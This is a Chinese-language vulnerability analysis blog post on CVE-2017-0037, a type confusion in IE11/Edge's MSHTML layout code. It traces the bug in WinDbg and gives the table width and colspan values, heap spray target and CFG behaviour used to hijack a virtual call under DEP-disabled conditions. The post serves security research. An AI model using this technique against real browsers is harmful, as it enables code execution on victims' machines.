作者:k0shl 轉載請注明出處
作者博客:http://whereisk0shl.top

前言

前段時間Google Project Zero(PJ0)曝光了一個關于IE11和Edge的一個類型混淆造成代碼執行的漏洞,微軟至今未推出關于這個漏洞的補丁,我對這個漏洞進行了分析,并且通過PoC構造了半個Exploit,為什么是半個呢,首先這個漏洞攻擊面比較窄,只能控制Array里+0x4位置的值,通過類型混淆會認為這個值是一個指針,隨后會調用指針某偏移處的虛函數,當我們能夠控制這個指針的值的時候,虛函數也能夠得到控制。這樣就能劫持程序流,達到代碼執行的效果。但這其中涉及到一個ASLR的問題,由于地址隨機化,導致我們就算控制跳轉之后,無法通過info leak來構造ROP,也就是DEP也無法繞過。

這里我也有考慮到袁哥的DVE,但由于我們并沒有RW primitives,因此我們控制關鍵指針的條件太有限,導致想通過GodMod來執行腳本的方法似乎也不太可行(或者我沒有發現?求大牛指教!)。

因此這里,我寫了一個在關閉DEP時可以使用的exploit,并且和大家一起分享從PoC到Exp的整個過程,不得不說過程還是很麻煩的,因為想尋找這個Array+0x4位置的控制值如何能夠DWORD SHOOT,我跟了Layout::TableBoxBuilder類下的很多函數。

PJ0 CVE-2017-0037 PoC地址:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1011

目前來看,微軟并沒有更新這個exp的補丁,但是有人利用0patch修補了這個漏洞,其實我看起來感覺不太像從根本上解決了這個漏洞的問題:

https://0patch.blogspot.jp/2017/03/0patching-another-0-day-internet.html

盡管這個Type Confusion攻擊面有限,但是Type Confusion這種漏洞是非常常見的,它的原理一般情況下是由于函數處理時,沒有對對象類型進行嚴格檢查,導致可以通過某些手段來造成類型混淆,通過對其他可控類型的控制可以達到代碼執行的效果,甚至任意內存讀寫,比如Memory Corruption。

好啦,不多說了!下面我們來進入今天的分析,首先我們漏洞分析的環境:

Windows7 x64 sp1 build 7601

IE 11.0.9600.17843

./20170314/4.png


漏洞分析

首先漏洞的關鍵出現在boom()中,在PoC中定義了一個table表,其中在標簽中定義了表id為th1,在boom()函數中引用到,隨后通過setInterval設定事件。

運行PoC,可以捕獲到漏洞崩潰,附加Windbg。

0:003:x86> r
eax=00000038 ebx=0947ffb0 ecx=0947ffb0 edx=00000002 esi=00000064 edi=6e65c680
eip=6e20fc87 esp=086abdc0 ebp=086abdec iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36:
6e20fc87 833800          cmp     dword ptr [eax],0    ds:002b:00000038=????????

可以看到,這里eax作為指針,引用了一處無效地址,從而引發了崩潰,直接回溯崩潰位置的上下文,可以看到,在cmp匯編指令之前,調用了一處函數 Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable

而eax寄存器正是Readable函數的返回值。我們在這個函數call調用位置下斷點,重新執行windbg。

0:007:x86> r
eax=0a020590 ebx=007e79f0 ecx=007e79f0 edx=007e79f0 esi=00000064 edi=69ad8080
eip=6968fc82 esp=0900b878 ebp=0900b8a4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)

可以看到,ecx寄存器作為第一個參數,看一下這個參數存放的對象。

0:007:x86> dps ecx
007e79f0  68d82230 MSHTML!Layout::FlowItem::`vftable'
007e79f4  00000000 //這個值將會在Readable函數中引用
007e79f8  00000009
007e79fc  007ec8d4
007e7a00  0a020660
007e7a04  00000064
007e7a08  00000064
007e7a0c  007e79f0
007e7a10  007e79f0
007e7a14  68d82230 MSHTML!Layout::FlowItem::`vftable'
007e7a18  00000000
007e7a1c  00000009
007e7a20  007ec8d4
007e7a24  0a01fc60
007e7a28  00000000
007e7a2c  00000000
007e7a30  007e7a14
007e7a34  007e7a14

這個參數存放的對象是一個Layout::FlowItem::`vftable虛表,隨后通過IDA來分析一下這個函數的功能。

int __thiscall Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(int this)
{
  int v1; // eax@2
  int result; // eax@4

  if ( *(_BYTE *)(*(_DWORD *)(__readfsdword(44) + 4 * _tls_index) + 36) )
  // get tls array
  {
    result = this + 16;
  }
  else
  {
    v1 = *(_DWORD *)(this + 4);
    if ( !v1 )               // 這個位置會檢查this+0x4位置的值,如果為0,則進入處理
      v1 = this;//獲取vftable pointer
    result = v1 + 16;
  }
  return result;
}

這里,讀取虛表+0x4位置的值為0,因此會執行if(!v4)中的邏輯,會將this指針交給v1,隨后v1+0x10后返回,因此,Layout::FlowItem::`vftable所屬指針的這個情況是正常的情況,函數會正常返回進入后續處理邏輯。

0:007:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e:
68dbed16 83c010          add     eax,10h
0:007:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21:
68dbed19 c3              ret//函數正常返回
0:007:x86> r eax
eax=007e7a00
0:007:x86> dps eax
007e7a00  0a020660
007e7a04  00000064
007e7a08  00000064
007e7a0c  007e79f0
007e7a10  007e79f0
0:007:x86> p
Breakpoint 0 hit//這個地方會引用正常的值
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36:
6968fc87 833800          cmp     dword ptr [eax],0    ds:002b:007e7a00=0a020660

直接繼續執行,程序會第二次命中Readable函數,這次來看一下ecx中存放的對象。

0:007:x86> r
eax=0a020000 ebx=0a020120 ecx=0a020120 edx=00000000 esi=00000064 edi=69adc680
eip=6968fc82 esp=0900b878 ebp=0900b8a4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
0:007:x86> dps ecx
0a020120  00000000
0a020124  00000028
0a020128  00000050
0a02012c  00000078
0a020130  000000a0
0a020134  000000c8
0a020138  a0a0a0a0
0a02013c  a0a0a0a0

這次存放的對象并非是一個虛表對象,這個對象是一個int Array的維度對象,這樣我們通過條件斷點來跟蹤兩個對象的創建過程。我們重點關注兩個對象創建的函數,一個是FlowItem::`vftable對應的虛表對象,另一個是引發崩潰的int Array對象。這兩個函數的返回值,也就是eax寄存器中存放的就是指向這兩個創建對象的指針。

MSHTML!Array<Math::SLayoutMeasure>::Create

MSHTML!Array<SP<Tree::TableRowGroupBlock>>::Create

通過對這兩個對象進行跟蹤,我們可以看見到對象的創建,以及后續引用對象,導致Type Confusion。

//下條件斷點,打印每一次int Array object創建的信息
0:007:x86> bp 6912e1fb ".printf \"Something: 0x%08x,0x%08x\\n\",@eax,poi(eax);g;"
//對象被不斷創建
0:007:x86> g
Something: 0x088abc84,0x0098c788
Something: 0x088abc84,0x09806790
Something: 0x088abc84,0x097d9010
Something: 0x088abc5c,0x097dafd8
Something: 0x088abc84,0x097ce050
Something: 0x088abc84,0x098026e0
Something: 0x088abc84,0x098044c8
Something: 0x088abc84,0x097ff540
Something: 0x088abc5c,0x097d5058
Something: 0x088abafc,0x097cab00
Something: 0x088abafc,0x0980a690 //key!!
Breakpoint 1 hit
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
0:007:x86> r//第一次命中時,是正常的FlowItem對象
eax=0980aa80 ebx=0094d364 ecx=0094d364 edx=0094d364 esi=00000064 edi=69ad8080
eip=6968fc82 esp=088abb28 ebp=088abb54 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
0:007:x86> g
Breakpoint 1 hit
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
0:007:x86> r//第二次命中時,注意ecx寄存器的值,0x0980a690
eax=0980a570 ebx=0980a690 ecx=0980a690 edx=00000000 esi=00000064 edi=69adc680
eip=6968fc82 esp=088abb28 ebp=088abb54 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)

果然第二次命中的時候,是一個int Array Object。因此,這個漏洞就是由于Layout::Patchable >::Readable函數是處理虛表對象的函數,但是由于boom()函數中引用th1.align導致Readable函數第二次引用,由于沒有對對象屬性進行檢查,導致第二次會將table對象傳入。

這就是一個典型的Type Confusion。

而Readable會將這個對象當作虛表對象處理,而這個int Array維度對象我們可以控制,從而通過控制Readable返回值來達到代碼執行。


Exploitation Surface

如果想利用這個漏洞,我們需要分析一下攻擊面,首先是我們可控的位置是什么(也就是在之前我提到的int Array的維度),這個可控的位置是否有利用點,有哪些防護,是否有可能繞過等等。

首先我們來看一下利用位置的上下文。

cmp     dword ptr [eax],0 
je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d83
mov     ecx,ebx
call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable
mov     dword ptr [ebp-10h],esp
mov     ebx,dword ptr [eax]
mov     eax,dword ptr [ebx]
mov     edi,dword ptr [eax+1A4h]
mov     ecx,edi
call    dword ptr [MSHTML!__guard_check_icall_fptr]
mov     ecx,ebx
call    edi

可看到,在eax作為指針返回后,會在后續繼續調用到一個Readable函數,而在這個函數后返回后,eax會連續傳遞,最后調用到call edi,引用這個虛函數。

也就是說,一旦我們可以控制這個指針,我們就有可能在call edi位置達到代碼執行的效果。

而可以看到,在call edi之前,有一處call __guard_check_icall_fptr,這是Windows新的防護機制CFG,在執行虛函數調用前,會檢查虛函數。

./20170314/1.png

因此,我們簡單分析一下我們的攻擊面,首先我們可控的位置是int Array Object+0x4位置的值,這個值控制范圍有限,因此我們似乎不能通過這種方法來獲得任意地址的讀寫能力,因此對于我們來說ASLR對于這個漏洞來說不好繞過。ASLR和DEP不好繞過。

接下來,我們要分析的就是,如何控制這個值。這個對象經過我們剛才的分析,是由MSHTML!Array::Create函數創建的對象,但賦值并非在這個位置。在分析的過程中,我對Layout中的大量類函數進行了跟蹤分析,這里我將通過正向來直接跟大家展示這個值是從什么位置來的。


跟蹤TableBoxBuilder結構體

這里,我們稍微修改一下PoC,主要是對th1對象中的width值進行修改。

<th id="th1" colspan="5" width=10000></th>

下面調試過程中,由于多次重啟,堆地址值有所變化,但不影響分析。

首先,我們要關注的是一個名為FlowBoxBuilder的對象,這個對象偏移+0x124的位置將會存放Width值生成的一個size。在Layout::FlowBoxBuilder::FlowBoxBuilder函數中,這個結構體對象被創建。

0:007:x86> p
MSHTML!Layout::FlowBoxBuilder::FlowBoxBuilder+0xe:
67c70ae4 8bd9            mov     ebx,ecx//對象位置被初始化
0:007:x86> r ecx
ecx=09a42ad8
0:007:x86> dd 09a42ad8+124//對應位置的成員變量已經被初始化
09a42bfc  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0:007:x86> ba w1 09a42ad8+124 //對+0x124位置下寫入斷點
0:007:x86> g
Breakpoint 4 hit
MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing+0x11b:
67b18c75 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:007:x86> dd 09a42ad8+124//可以看到在InitializeBoxSizing函數中被賦值
09a42bfc  00989680=1000000

可以看到,在MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing函數中,FlowBoxBuilder+0x124位置被賦值。賦值的內容是0x989680,就是1000000,這個值又是從哪里來的呢?在MSHTML中有一個函數MSHTML!Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth,這個計算會將table的width*100。

如上面的代碼片段,FlowBoxBuilder在InitializeBoxSizing中初始化之后,偏移+0x124位置會將ComputeBoxModelForChildWithUsedWidth函數的計算值保存。

隨后這個值會加上200,之后這個值回存入結構體中,然后會存放在FlowBoxBuilder結構體+0x114的位置。

67b0201a 8906            mov     dword ptr [esi],eax
0:007:x86> g
Breakpoint 7 hit
MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13:
67b0201c 85c9            test    ecx,ecx
0:007:x86> dd 09b40948+114//
09b40a5c  09b778d0 00000000 e0e0e0e0 00000000//在FlowBoxBuilder+0x114位置存放了一個結構體
09b40a6c  00989874 //+200之后依然存放在FlowBoxBuilder+0x124的位置 
0:007:x86> dd 09b778d0
09b778d0  67e6c574 00000001 09b36560 09b6f968//結構體+0xc位置存放著目標結構體,這個結構體其實就是一個int Array結構,這個結構會在后續調用中用到。
09b778e0  00989874 
0:007:x86> dd 09b6f968
09b6f968  00000000 001e84a8 003d0950 005b8df8
09b6f978  007a12a0 00989748 a0a0a0a0 a0a0a0a0
09b6f988  00000000 00000000 4c762d5c 000c2ca7
09b6f998  09b5a4a8 09b71a68 f0f0f0f0 f0f0f0f0
09b6f9a8  f0f0f0f0 f0f0f0f0 a0a0a0a0 a0a0a0a0
09b6f9b8  00000000 00000000 59752d4a 140c2caa
09b6f9c8  abcdaaaa 80411000 00000044 0000006c
09b6f9d8  09b6fa58 09b6f910 04d67e6c dcbaaaaa
0:007:x86> kb//調用邏輯
ChildEBP RetAddr  Args to Child              
08efb8f4 67e6c0fc 09b778d0 08efbd54 09b409d0 MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13
08efb940 67e6c03e 090b82f8 09b40900 09b40a20 MSHTML!Layout::SBoxModel::CalculateFullBoxModelForTable+0x9f
08efb9bc 67b1a3dc 090b82f8 09b40900 09b40a20 MSHTML!Layout::SBoxModel::CalculateFullBoxModel+0x270
08efbac4 67b12365 08efbd54 0001f400 08efbcec MSHTML!Layout::FlowBoxBuilder::BuildBoxItem+0x25a

到此,我們完成了對FlowBoxBuilder結構體關鍵成員變量的賦值,這個成員變量會在后續調用中,進入很關鍵的TableBoxBuilder結構體,我們關鍵的Array位置存放在FlowBoxBuilder+0x114的指針內偏移為+0xc的指針處,接下來我們進入TableBoxBuilder類函數跟蹤。

+0xc的這個Array會在TableBoxBuilder::InitialBoxSizing函數中交給TableBoxBuilder結構體+0x294的位置。

0:007:x86> p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5c:
67e766ac 8d460c          lea     eax,[esi+0Ch]//esi存放的就是FlowBoxBuilder+0x114的指針
//+0xc位置存放的就是Array結構體
0:007:x86> p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5f:
67e766af 50              push    eax
0:007:x86> p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x60:
67e766b0 8d8b94020000    lea     ecx,[ebx+294h]//ebx存放的是TableBoxBuilder+0x294的指針地址
0:007:x86> p//調用SArray::operator
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x66:
67e766b6 e879e6c4ff      call    MSHTML!SArray<Layout::TableGridBox::SRowGroupInfo>::operator= (67ac4d34)//esi+0c
0:007:x86> dd 0963ba2c//esi+0xc的值
0963ba2c  00a2beb0 00000000 e0e0e0e0 00000000
0:007:x86> dd a2beb0
00a2beb0  00000000 001e84a8 003d0950 005b8df8
00a2bec0  007a12a0 00989748 a0a0a0a0 a0a0a0a0

在MSHTML!SArray::operator函數中,會完成對TableBoxBuilder+0x294位置的賦值,就是將上面代碼中esi+0xc的值,交給TableBoxBuilder+0x294。

0:007:x86> g
Breakpoint 4 hit
MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a:
67ac4d4e 85c9            test    ecx,ecx
0:007:x86> dd 09d7ff30+294//偏移294位置存放著TableBoxBuilder中的size部分,用于賦值給Type Confusion的對象
09d801c4  09d7da30 00000000 e0e0e0e0 00000000
09d801d4  00000000 a0a0a0a0 a0a0a0a0 09d7f868
0:007:x86> dd 09d7da30//已經完成了Size的賦值操作
09d7da30  00000000 001e84a8 003d0950 005b8df8
09d7da40  007a12a0 00989748 a0a0a0a0 a0a0a0a0
0:007:x86> kb
ChildEBP RetAddr  Args to Child              
08e7b878 67e766bb 09da48bc 08e7bbbc 08e7b8a8 MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a
08e7b890 67ccb346 051d2fd8 051d2f88 09da48b0 MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x6b

在最后漏洞觸發位置的MSHTML!Layout::TableGridBox::InitializeColumnData函數中,會完成對我們漏洞觸發位置的Type Confusion的結構體內容的賦值。

6912e226 8b8394020000    mov     eax,dword ptr [ebx+294h] ds:002b:0924592c=09245598  //what is ebx and ebx+294  ebx is struct Layout::TableBoxBuilder
6912e22c 8b0e            mov     ecx,dword ptr [esi]//獲取我申請的堆指針
6912e22e 8b0490          mov     eax,dword ptr [eax+edx*4]//計算TableBoxBuilder對應294位置的值+索引*sizeof
6912e231 890491          mov     dword ptr [ecx+edx*4],eax//將這個值交給申請堆指針對應索引的位置
6912e234 42              inc     edx//edx = edx+1//自加1
6912e235 3bd7            cmp     edx,edi//check lenth 檢測是否已經到達我申請的堆大小
6912e237 7ced            jl      MSHTML!Layout::TableGridBox::InitializeColumnData+0x6c (6912e226)

可能大家這個時候有點亂了,下面我將用一個流程圖來展示一下結構體的賦值過程。大致就是首先會通過計算獲得Width的一個size,計算方法是:Width*100+200,隨后,會將這個值保存在一個Array里,這個Array的大小后面會講到。之后會將這個Array存入一個指針偏移+0xc的位置,交給FlowBoxBuilder結構體+0x114的位置。之后,會賦值給TableBoxBuilder結構體+0x294位置,最后會交給漏洞觸發位置申請的堆指針。

而經過我們上面的分析,產生漏洞的位置在這個Array+0x4位置,我們也需要通過table的條件控制這個位置的值,才能達到利用。


控制Array結構到漏洞利用

通過上面的跟蹤,我們知道了id=th1的Table中的Width可以控制一個Array結構,但是我們也發現Array結構并非單獨只包含一個Width計算得到的值。

0:007:x86> dd 9bc7038
<th id="th1" colspan="5" width=1000></th>//
09bc7038  00000000 00004e48 00009c90 0000ead8
09bc7048  00013920 00018768 a0a0a0a0 a0a0a0a0

可以看到,Array結構是有一個大小的,其實,這個Array中存放的值,取決于width,而大小取決于colspan,這個colspan為5的情況下,Array中存放了5個值,而我們需要控制的是Array+0x4這個位置的值,這樣的話,我們將colspan的大小修改為1,并且修改Width的值。

<th id="th1" colspan="1" width=2021159></th>

0:005:x86> t
MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable:
67afecf4 8b15fc5cb368    mov     edx,dword ptr [MSHTML!_tls_index (68b35cfc)] ds:002b:68b35cfc=00000002
0:005:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x6:
67afecfa 64a12c000000    mov     eax,dword ptr fs:[0000002Ch] fs:0053:0000002c=00000000
0:005:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0xc:
67afed00 8b0490          mov     eax,dword ptr [eax+edx*4] ds:002b:008f5dd0=008f0fb8
0:005:x86> dd ecx//ecx存放的是Array
098563c8  00000000 0c0c0c04 a0a0a0a0 a0a0a0a0

可以看到,通過修改Width和colspan,我們成功控制了Array+0x4位置的值,這樣,在接下來由于TypeConfusion,會將這個int Array當成是vftable pointer返回,并繼續執行。

0:005:x86> p//Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable函數
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e:
67afed16 83c010          add     eax,10h
0:005:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21:
67afed19 c3              ret
0:005:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36://返回之后,eax成功變成了0c0c0c14的值
683cfc87 833800          cmp     dword ptr [eax],0    ds:002b:0c0c0c14=00000000

可以看到,在返回后,我們可以成功控制這個返回指針了。接下來,我們利用heap spray來噴射堆,從而穩定控制0c0c0c0c位置的值。

./20170314/6.png


CFG???從PoC到半個exploit

到此,我們完成了對漏洞函數返回值的控制,在文章最開始的時候,我們看到這個指針的值中的成員變量,會作為虛函數在后續call調用中引用,在此之前,會有一處CFG check。

0:007:x86> p//eax已經被我們控制,跳轉到噴射結束的堆中
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d45:
683cfc96 8b18            mov     ebx,dword ptr [eax]  ds:002b:0c0c0bb0=0c0c0c0c
0:007:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d47:
683cfc98 8b03            mov     eax,dword ptr [ebx]  ds:002b:0c0c0c0c=0c0c0c0c
0:007:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d49:
683cfc9a 8bb8a4010000    mov     edi,dword ptr [eax+1A4h] ds:002b:0c0c0db0=0c0c0c0c
0:007:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d4f:
683cfca0 8bcf            mov     ecx,edi
0:007:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d51:
683cfca2 ff1534afb568    call    dword ptr [MSHTML!__guard_check_icall_fptr (68b5af34)] ds:002b:68b5af34=67ac4b50//進入CFG check函數
0:007:x86> t
MSHTML!CJSProtocol::`vftable'+0xc://對CJSProtocol vftable的值進行檢查
67ac4b50 8bc0            mov     eax,eax
0:007:x86> p
MSHTML!CElement::OnGCFilteredForReplacedElem:
67ac4b52 c3              ret

這也是有疑惑的地方,在這個CFG check中,會對CJProtocol::`vftable有效性進行檢查,但是沒有對我們返回值指向的虛函數進行檢查,導致我們可以通過這處CFG檢查。

./20170314/7.png

但是由于所有地址模塊都開啟了ASLR,而利用面來看的話,并沒有地方可以泄露內存信息,也沒有其他好用的利用點,這樣的話就不好繞過ASLR和DEP,我在關閉win7 DEP的情況下,完成了利用。

./20170314/8.png

感謝大家閱讀,如果有不當之處,請大家多多交流,謝謝!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/251/